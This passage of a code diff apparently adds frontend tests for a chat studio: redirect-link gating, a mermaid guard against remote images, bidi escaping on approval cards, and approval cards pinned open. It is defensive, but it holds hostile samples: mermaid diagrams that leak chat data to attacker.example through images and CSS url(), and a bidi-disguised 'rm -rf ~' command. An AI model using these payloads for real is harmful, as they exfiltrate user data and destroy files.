+ assert.deepEqual(asked, { host: "collector.example", openedFirst: false });
+ assert.equal(opened().includes("collector.example"), false, "the denied target was opened anyway");
+});
+
+test("a DuckDuckGo redirect link is gated on its target too", async () => {
+ const context = run("b");
+ show("b");
+ const asked = await askedBy(navigate("b1", context, "https://duckduckgo.com/l/?uddg=https%3A%2F%2Fcollector2.example%2F"), "collector2.example");
+ assert.equal(asked?.host, "collector2.example");
+});
+
+test("a plain search page the user asked for still opens without a question", async () => {
+ const context = run("c");
+ show("c");
+ assert.equal(await askedBy(navigate("c1", context, "https://www.google.com/search?q=qwen"), "google.com"), null);
+});
+
+test("a redirect link the open page shows is asked about before it loads, not after", async () => {
+ const context = run("d");
+ show("d");
+ assert.equal(await askedBy(navigate("d1", context, "https://www.google.com/search?q=qwen"), "google.com"), null);
+ const wrapped = "https://www.google.com/url?q=https://result.example/page&sa=U";
+ links = [wrapped];
+ await snapshot("d2", context);
+ links = [];
+ assert.deepEqual(await askedBy(navigate("d3", context, wrapped), "result.example"), { host: "result.example", openedFirst: false });
+});
+
+test("a clicked redirect link is asked about at its target before the tab loads it", async () => {
+ const context = run("e");
+ show("e");
+ assert.equal(await askedBy(navigate("e1", context, "https://www.google.com/search?q=qwen"), "google.com"), null);
+ const wrapped = "https://www.google.com/url?q=https://clicked.example/page&sa=U";
+ const link = { role: "link", name: "Result", tag: "a", href: wrapped, formMethod: "", formAction: "", formHasPassword: false, submits: false };
+ const original = globals.__frameAgent;
+ links = [wrapped];
+ globals.__frameAgent = async (tabId: string, op: Record<string, unknown>) => {
+ if (op.op === "describe") return { installed: true, result: { ok: true, info: link, hit: "r5", sig: "s" } };
+ if (op.op === "click") return { installed: true, result: { ok: true, navigate: wrapped } };
+ return (original as (t: string, o: Record<string, unknown>) => unknown)(tabId, op);
+ };
+ try {
+ await snapshot("e2", context);
+ const click = runBrowserAction({ id: "e3", sessionId: "s", op: "click", ref: "r5", direction: "down", policy }, context);
+ assert.deepEqual(await askedBy(click, "clicked.example"), { host: "clicked.example", openedFirst: false });
+ } finally {
+ globals.__frameAgent = original;
+ links = [];
+ }
+});
diff --git a/studio/frontend/tests/markdown-preview-literal-tags.test.ts b/studio/frontend/tests/markdown-preview-literal-tags.test.ts
index 31e51cb8905..8e1576d05ce 100644
--- a/studio/frontend/tests/markdown-preview-literal-tags.test.ts
+++ b/studio/frontend/tests/markdown-preview-literal-tags.test.ts
@@ -8,11 +8,11 @@ import { renderToStaticMarkup } from "react-dom/server";
import * as jsxRuntime from "react/jsx-runtime";
import * as streamdown from "streamdown";
import * as streamdownMath from "@streamdown/math";
-import * as streamdownMermaid from "@streamdown/mermaid";
import ts from "@typescript/typescript6";
import type * as ComposerDraftPreviewModule from "../src/components/assistant-ui/composer-draft-preview.tsx";
import { createCodePlugin } from "../src/components/assistant-ui/code-plugin.ts";
+import * as mermaidPlugin from "../src/components/assistant-ui/mermaid-plugin.ts";
import * as inertComponents from "../src/components/markdown/inert-components.ts";
import type * as MarkdownPreviewModule from "../src/components/markdown/markdown-preview.tsx";
import * as markdownDataImages from "../src/lib/markdown-data-images.ts";
@@ -50,7 +50,7 @@ const { MarkdownPreview } = loadWithStubs<typeof MarkdownPreviewModule>(
codePlugin: createCodePlugin(),
},
"@streamdown/math": streamdownMath,
- "@streamdown/mermaid": streamdownMermaid,
+ "@/components/assistant-ui/mermaid-plugin": mermaidPlugin,
"@/lib/markdown-plugins": markdownPlugins,
"@/lib/open-link": { openLink: () => false },
"@/lib/safe-markdown-url": safeMarkdownUrl,
diff --git a/studio/frontend/tests/mermaid-remote-images-render.test.ts b/studio/frontend/tests/mermaid-remote-images-render.test.ts
new file mode 100644
index 00000000000..f1257986163
--- /dev/null
+++ b/studio/frontend/tests/mermaid-remote-images-render.test.ts
@@ -0,0 +1,89 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// The render call Streamdown makes once a diagram scrolls into view, on the real mermaid, with
+// an Image that records the address a browser would request instead of fetching it.
+import assert from "node:assert/strict";
+import test from "node:test";
+import { DOMImplementation } from "@xmldom/xmldom";
+
+// Imported before the stand-in document: mermaid reaches for `window` on load when one exists.
+const { mermaid: stock } = await import("@streamdown/mermaid");
+const { mermaid: guarded } = await import("../src/components/assistant-ui/mermaid-plugin.ts");
+
+const requested: string[] = [];
+class NoNetwork extends Error {}
+const globals = globalThis as Record<string, unknown>;
+globals.Image = class {
+ set src(url: string) {
+ if (url) requested.push(url);
+ }
+ decode() {
+ return Promise.reject(new NoNetwork());
+ }
+};
+globals.CSSStyleSheet = class {
+ cssRules: { cssText: string }[] = [];
+ insertRule(rule: string) {
+ this.cssRules.push({ cssText: rule });
+ }
+};
+const XHTML = "http://www.w3.org/1999/xhtml";
+const doc = new DOMImplementation().createDocument(XHTML, "html", null) as unknown as Record<string, unknown> & {
+ documentElement: { appendChild(node: unknown): unknown };
+ createElementNS(ns: string, name: string): unknown;
+};
+doc.body = doc.documentElement.appendChild(doc.createElementNS(XHTML, "body"));
+function querySelector(this: { getElementsByTagName(name: string): ArrayLike<{ getAttribute(name: string): string | null }> }, selector: string) {
+ const id = /^#(.+)$|^\[id="(.+)"\]$/.exec(selector);
+ return Array.from(this.getElementsByTagName(id ? "*" : selector)).find((el) => !id || el.getAttribute("id") === (id[1] ?? id[2])) ?? null;
+}
+const elementProto = Object.getPrototypeOf(doc.body) as Record<string, unknown>;
+(Object.getPrototypeOf(doc) as Record<string, unknown>).querySelector = querySelector;
+elementProto.querySelector = querySelector;
+Object.defineProperty(elementProto, "style", { value: { setProperty() {} } });
+globals.document = doc;
+
+
+const HOSTILE = 'flowchart LR\n A@{ img: "https://attacker.example/collect?chat=secret", w: 1, h: 1 }';
+
+async function imagesRequestedBy(plugin: typeof stock, source: string, id: string): Promise<string[]> {
+ requested.length = 0;
+ try {
+ await plugin.getMermaid().render(id, source);
+ } catch {
+ // Without layout the render stops early; the image is requested before that point.
+ }
+ return [...requested];
+}
+
+test("the stock plugin requests a flowchart node's remote image (the harness sees it)", async () => {
+ assert.deepEqual(await imagesRequestedBy(stock, HOSTILE, "m1"), ["https://attacker.example/collect?chat=secret"]);
+});
+
+test("the guarded plugin draws the same diagram without requesting it", async () => {
+ assert.deepEqual(await imagesRequestedBy(guarded, HOSTILE, "m2"), []);
+});
+
+test("an inline data: image is still drawn", async () => {
+ const data = "data:image/png;base64,iVBORw0KGgo=";
+ assert.deepEqual(await imagesRequestedBy(guarded, `flowchart LR\n A@{ img: "${data}", w: 1, h: 1 }`, "m3"), [data]);
+});
+
+test("an init directive cannot write a url() into the diagram's CSS", async () => {
+ const { default: library } = await import("mermaid");
+ const source =
+ '%%{init: {"themeCSS": ".node{background:url(https://attacker.example/a)}", "fontFamily": "x;background:url(https://attacker.example/b)"}}%%\nflowchart LR\n A-->B';
+ const applied = async (plugin: typeof stock) => {
+ try {
+ await plugin.getMermaid({}).render("m4", source);
+ } catch {
+ // Directives are applied before layout, where the stand-in stops.
+ }
+ const { themeCSS, fontFamily } = library.mermaidAPI.getConfig();
+ return { themeCSS, fontFamily };
+ };
+ assert.match(String((await applied(stock)).themeCSS), /attacker/, "the harness should see the stock plugin take the directive");
+ // The plugin's own font still applies; only the diagram's directive is refused.
+ assert.deepEqual(await applied(guarded), { themeCSS: undefined, fontFamily: "monospace" });
+});
diff --git a/studio/frontend/tests/mermaid-remote-images.test.ts b/studio/frontend/tests/mermaid-remote-images.test.ts
new file mode 100644
index 00000000000..3b6d8e61d57
--- /dev/null
+++ b/studio/frontend/tests/mermaid-remote-images.test.ts
@@ -0,0 +1,108 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// A mermaid diagram keeps to the chat's image policy: what it draws may name a `data:` image,
+// never a remote one, while a diagram that names none reaches mermaid exactly as written.
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { stripRemoteDiagramImages } from "../src/components/assistant-ui/mermaid-guard.ts";
+import { readSrc } from "./helpers/kit.ts";
+
+const HOSTILE = [
+ 'flowchart LR\n A@{ img: "https://attacker.example/collect?chat=secret", w: 1, h: 1 }',
+ 'flowchart LR\n A@{ img: "HTTPS://attacker.example/c", label: "x" }',
+ 'flowchart LR\n A@{ img: "https:/attacker.example/c" }',
+ 'flowchart LR\n A@{ img: "//attacker.example/c" }',
+ 'flowchart LR\n A@{ img: "\\x68ttps://attacker.example/c" }',
+ 'flowchart LR\n A@{ "\\x69mg": "https://attacker.example/c" }',
+ "flowchart LR\n A@{\n shape: image\n img: https://attacker.example/c\n }",
+ "flowchart LR\n A[\"<img src='https://attacker.example/c'>\"]",
+ "flowchart LR\n A[\"<IMG SRC=https://attacker.example/c>\"]",
+ "flowchart LR\n A --> B\n classDef x background:url(https://attacker.example/c)\n class A x",
+ "flowchart LR\n A --> B\n style A background:u\\72l(https://attacker.example/c)",
+ 'sequenceDiagram\n participant Alice\n properties Alice: {"icon": "https://attacker.example/c"}\n Alice->>Bob: hi',
+ 'sequenceDiagram\n participant Alice\n properties Alice: {"\\u0069con": "\\u0068ttps://attacker.example/c"}\n Alice->>Bob: hi',
+ 'flowchart LR\n%% @{ "\n A@{ img: "https://attacker.example/c" }',
+ "flowchart LR\n A[\"<span style='background-image:url(https://attacker.example/c)'>x</span>\"]",
+ "flowchart LR\n A[\"<span style='background:#117;rl(https://attacker.example/c)'>x</span>\"]",
+ "flowchart LR\n A[\"<b style='background:&#x75;rl(https://attacker.example/c)'>x</b>\"]",
+ "flowchart LR\nA-->B\n\fstyle A fill:url(https://attacker.example/x)",
+ "flowchart LR\n A[\"<span style='background:&bsol;75rl(https://attacker.example/x)'>x</span>\"]",
+ " ---\n config:\n themeVariables:\n xyChart:\n plotColorPalette: url(https://attacker.example/x)\n ---\nxychart-beta\n bar [1, 2]",
+];
+
+for (const source of HOSTILE) {
+ test(`no remote image survives: ${JSON.stringify(source.split("\n").slice(-1)[0]).slice(0, 70)}`, () => {
+ const out = stripRemoteDiagramImages(source);
+ assert.equal(/attacker\.example/.test(out) && !/#lt;/.test(out), false, out);
+ // Idempotent.
+ assert.equal(stripRemoteDiagramImages(out), out);
+ });
+}
+
+const ORDINARY = [
+ "flowchart LR\n A[\"<span style='color:#000;font-weight:bold'>dark</span>\"] --> B",
+ '%%{init: {"theme": "dark"}}%%\nflowchart LR\n %% a note about @{ the layout\n A --> B',
+ "flowchart TD\n A[Start] --> B{Is it?}\n B -->|Yes| C[OK]\n C --> D[Rethink]\n D --> B\n B ---->|No| E[End]",
+ "sequenceDiagram\n Alice->>John: Hello John, how are you?\n John-->>Alice: Great!\n Alice-)John: See you later!",
+ "flowchart LR\n A@{ shape: rounded, label: \"Load model\" } --> B@{ shape: diamond }\n classDef hot fill:#f96,stroke:#333\n class A hot\n style B fill:#bbf,stroke-width:2px",
+ 'flowchart LR\n A@{ img: "data:image/png;base64,iVBORw0KGgo=", w: 10, h: 10 }',
+ 'flowchart LR\n A["line one<br/>line <b>two</b>"] --> B\n click A href "https://unsloth.ai/docs" _blank',
+ "classDiagram\n class Animal {\n <<interface>>\n +List~int~ ids\n +isMammal() bool\n }\n Animal <|-- Duck",
+ 'sequenceDiagram\n participant Alice\n properties Alice: {"class": "internal-service-actor-box"}\n Alice->>Bob: hi',
+ "gantt\n title Plan\n dateFormat YYYY-MM-DD\n section A\n Task 1 :a1, 2024-01-01, 30d",
+ "pie title Pets\n \"Dogs\" : 386\n \"Cats\" : 85",
+];
+
+for (const source of ORDINARY) {
+ test(`an ordinary diagram is passed through unchanged: ${JSON.stringify(source.split("\n")[0])}`, () => {
+ assert.equal(stripRemoteDiagramImages(source), source);
+ });
+}
+
+test("the remote image key is dropped and the rest of the node kept", () => {
+ assert.equal(
+ stripRemoteDiagramImages('flowchart LR\n A@{ img: "https://attacker.example/c", label: "Hi", w: 1 }'),
+ 'flowchart LR\n A@{ "label":"Hi","w":1 }',
+ );
+});
+
+test("every surface that draws a diagram uses the guarded plugin", () => {
+ for (const path of [
+ "components/assistant-ui/markdown-text.tsx",
+ "components/markdown/markdown-preview.tsx",
+ "features/hub/catalog/model-readme.tsx",
+ ]) {
+ const text = readSrc(path);
+ assert.equal(text.includes('from "@streamdown/mermaid"'), false, `${path} still registers the stock plugin`);
+ assert.match(text, /mermaid-plugin"/, path);
+ }
+});
+
+test("a sequence actor cannot take its properties from an element on the page", () => {
+ const source = "sequenceDiagram\n participant Alice\n details Alice: payload\n Alice->>Bob: hi";
+ const out = stripRemoteDiagramImages(source);
+ assert.equal(/details/.test(out), false, out);
+ assert.match(out, /Alice->>Bob: hi/);
+ // A flowchart node that happens to be called details is left alone.
+ const flow = "flowchart LR\n details[Details: here] --> B";
+ assert.equal(stripRemoteDiagramImages(flow), flow);
+});
+
+test("details is dropped only from sequence diagrams", () => {
+ const timeline = "timeline\n title Plan\n details : Important milestone";
+ assert.equal(stripRemoteDiagramImages(timeline), timeline);
+});
+
+test("an init directive or front matter that could fetch is dropped, theme colours stay", () => {
+ const hostile = [
+ '%%{init: {"themeVariables": {"xyChart": {"plotColorPalette": "url(https://attacker.example/x)"}}}}%%\nxychart-beta\n bar [1, 2]',
+ "---\nconfig:\n themeVariables:\n xyChart:\n plotColorPalette: url(https://attacker.example/x)\n---\nxychart-beta\n bar [1, 2]",
+ ];
+ for (const source of hostile) assert.equal(/attacker\.example/.test(stripRemoteDiagramImages(source)), false);
+ const themed = '%%{init: {"theme": "base", "themeVariables": {"primaryColor": "#ff0000"}}}%%\nflowchart LR\n A --> B';
+ assert.equal(stripRemoteDiagramImages(themed), themed);
+ const titled = "---\ntitle: Pipeline\n---\nflowchart LR\n A --> B";
+ assert.equal(stripRemoteDiagramImages(titled), titled);
+});
diff --git a/studio/frontend/tests/tool-code-cell-bidi.test.ts b/studio/frontend/tests/tool-code-cell-bidi.test.ts
new file mode 100644
index 00000000000..759017ebf93
--- /dev/null
+++ b/studio/frontend/tests/tool-code-cell-bidi.test.ts
@@ -0,0 +1,85 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// The code an approval card shows is the code that runs: a bidi control in it is shown as
+// `\uXXXX` instead of reordering what the user reads, while Copy and Download keep it as is.
+import assert from "node:assert/strict";
+import test from "node:test";
+import * as React from "react";
+import { renderToStaticMarkup } from "react-dom/server";
+import * as jsxRuntime from "react/jsx-runtime";
+
+import type * as ToolCodeCellModule from "../src/components/assistant-ui/tool-code-cell.tsx";
+import * as escapeBidi from "../src/lib/escape-bidi-controls.ts";
+import * as markdownPlugins from "../src/lib/markdown-plugins.ts";
+import { loadWithStubs } from "./helpers/module-stubs.ts";
+
+const copied: string[] = [];
+const downloaded: string[] = [];
+const clicks = new Map<string, () => void>();
+const { ToolCodeCell } = loadWithStubs<typeof ToolCodeCellModule>(
+ new URL("../src/components/assistant-ui/tool-code-cell.tsx", import.meta.url),
+ {
+ react: React,
+ "react/jsx-runtime": jsxRuntime,
+ "@/lib/copy-to-clipboard": {
+ copyToClipboard: async (text: string) => {
+ copied.push(text);
+ return false;
+ },
+ },
+ "@/lib/escape-bidi-controls": escapeBidi,
+ "@/lib/markdown-plugins": markdownPlugins,
+ "@/lib/native-files": {
+ downloadFile: async (text: string) => {
+ downloaded.push(text);
+ },
+ isDownloadCancelled: () => false,
+ },
+ "@/lib/tick-icon": { Tick02Icon: {} },
+ "@/lib/toast": { toast: { error() {} } },
+ "@hugeicons/core-free-icons": { Copy01Icon: {}, Download01Icon: {} },
+ "@hugeicons/react": { HugeiconsIcon: () => null },
+ "./icon-action-button": {
+ IconActionButton: ({ label, onClick }: { label: string; onClick: () => void }) => {
+ clicks.set(label, onClick);
+ return React.createElement("button", { "aria-label": label });
+ },
+ },
+ streamdown: {
+ Streamdown: ({ children }: { children: string }) => React.createElement("pre", null, children),
+ },
+ "./shared-code-plugin": { codePlugin: {} },
+ },
+);
+
+// Reads as `echo safe # ...` with the override; runs `rm -rf ~` hidden behind it.
+const COMMAND = "echo safe \u202e# ~ fr- mr; \u2066x\u2069";
+
+for (const streaming of [true, false]) {
+ test(`bidi controls are shown escaped in the card (${streaming ? "streaming" : "settled"})`, () => {
+ const html = renderToStaticMarkup(
+ React.createElement(ToolCodeCell, { label: "Command", code: COMMAND, language: "bash", downloadName: "cmd.sh", streaming }),
+ );
+ assert.equal(/[\u202a-\u202e\u2066-\u2069]/.test(html), false, "a raw bidi control reached the card");
+ assert.ok(html.includes("echo safe \\u202e# ~ fr- mr; \\u2066x\\u2069"));
+ });
+}
+
+test("Copy and Download keep the command exactly as it runs", async () => {
+ renderToStaticMarkup(
+ React.createElement(ToolCodeCell, { label: "Command", code: COMMAND, language: "bash", downloadName: "cmd.sh" }),
+ );
+ clicks.get("Copy to clipboard")?.();
+ clicks.get("Download")?.();
+ await new Promise((resolve) => setTimeout(resolve, 0));
+ assert.deepEqual(copied, [COMMAND]);
+ assert.deepEqual(downloaded, [COMMAND]);
+});
+
+test("an ordinary command is shown unchanged", () => {
+ const html = renderToStaticMarkup(
+ React.createElement(ToolCodeCell, { label: "Command", code: "ls -la /tmp", language: "bash", downloadName: "cmd.sh", streaming: true }),
+ );
+ assert.ok(html.includes("ls -la /tmp"));
+});
diff --git a/studio/frontend/tests/tool-fallback-approval-open.test.ts b/studio/frontend/tests/tool-fallback-approval-open.test.ts
new file mode 100644
index 00000000000..fd313e0493d
--- /dev/null
+++ b/studio/frontend/tests/tool-fallback-approval-open.test.ts
@@ -0,0 +1,51 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// A generic tool card (MCP tools, edit_file, ...) parked on Allow / Deny is pinned open, as the
+// named cards are, so the arguments being approved are on screen even under "Collapsed".
+import assert from "node:assert/strict";
+import test from "node:test";
+import ts from "@typescript/typescript6";
+
+import { readSrc } from "./helpers/kit.ts";
+import { openingTag } from "./helpers/tsx-ast.ts";
+
+const PATH = "components/assistant-ui/tool-fallback.tsx";
+const source = ts.createSourceFile(PATH, readSrc(PATH), ts.ScriptTarget.Latest, true, ts.ScriptKind.TSX);
+
+function findDeclaration(name: string): ts.Node {
+ let found: ts.Node | undefined;
+ (function visit(node: ts.Node) {
+ if (ts.isVariableDeclaration(node) && node.name.getText(source) === name) found = node;
+ if (!found) ts.forEachChild(node, visit);
+ })(source);
+ assert.ok(found, `${PATH}: no ${name}`);
+ return found;
+}
+
+test("the generic card passes its approval state to the card root", () => {
+ const impl = findDeclaration("ToolFallbackImpl");
+ const initializers = new Map<string, string>();
+ let rootAttr: string | undefined;
+ (function visit(node: ts.Node) {
+ if (ts.isVariableDeclaration(node) && node.initializer) {
+ initializers.set(node.name.getText(source), node.initializer.getText(source));
+ }
+ const tag = openingTag(node);
+ if (tag?.tagName.getText(source) === "ToolFallbackRoot") {
+ for (const attr of tag.attributes.properties) {
+ if (ts.isJsxAttribute(attr) && attr.name.getText(source) === "awaitingApproval") {
+ rootAttr = attr.initializer?.getText(source).replace(/^\{|\}$/g, "") ?? "true";
+ }
+ }
+ }
+ ts.forEachChild(node, visit);
+ })(impl);
+ assert.ok(rootAttr, "ToolFallbackRoot gets no awaitingApproval, so the card stays collapsed while it waits");
+ assert.equal(initializers.get(rootAttr), "useToolAwaitingApproval(toolCallId)");
+});
+
+test("the card root opens for an approval above the collapse preference", () => {
+ const root = readSrc(PATH);
+ assert.match(root, /const isOpen =\s*awaitingApproval \|\|/);
+});